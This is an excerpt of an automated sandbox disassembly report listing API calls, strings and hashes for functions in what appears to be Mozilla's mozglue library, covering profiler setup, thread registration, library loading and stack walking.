strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

mainthreadio, xrefs: 6C69CC7C
notimerresolutionchange, xrefs: 6C69CE00
unregisteredthreads, xrefs: 6C69CE58
markersallthreads, xrefs: 6C69CE42
cpuallthreads, xrefs: 6C69CE16
default, xrefs: 6C69CC21
power, xrefs: 6C69CE84
seqstyle, xrefs: 6C69CCE6
samplingallthreads, xrefs: 6C69CE2C
Unrecognized feature "%s"., xrefs: 6C69CEA0
audiocallbacktracing, xrefs: 6C69CDD4
screenshots, xrefs: 6C69CCD4
processcpu, xrefs: 6C69CE6E
stackwalk, xrefs: 6C69CCF8
java, xrefs: 6C69CC37
ipcmessages, xrefs: 6C69CDBE
jsallocations, xrefs: 6C69CD0E
fileioall, xrefs: 6C69CCA8
noiostacks, xrefs: 6C69CCBE
nostacksampling, xrefs: 6C69CD7C
preferencereads, xrefs: 6C69CD92
nativeallocations, xrefs: 6C69CDA8
fileio, xrefs: 6C69CC92
leaf, xrefs: 6C69CC66

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
kernel32.dll, xrefs: 6C6644CD
Gml, xrefs: 6C6644FC
NativeNtBlockSet_Write, xrefs: 6C6646F7
l, xrefs: 6C664578

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C69EED7
[I %d/%d] profiler_pause, xrefs: 6C69F008

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
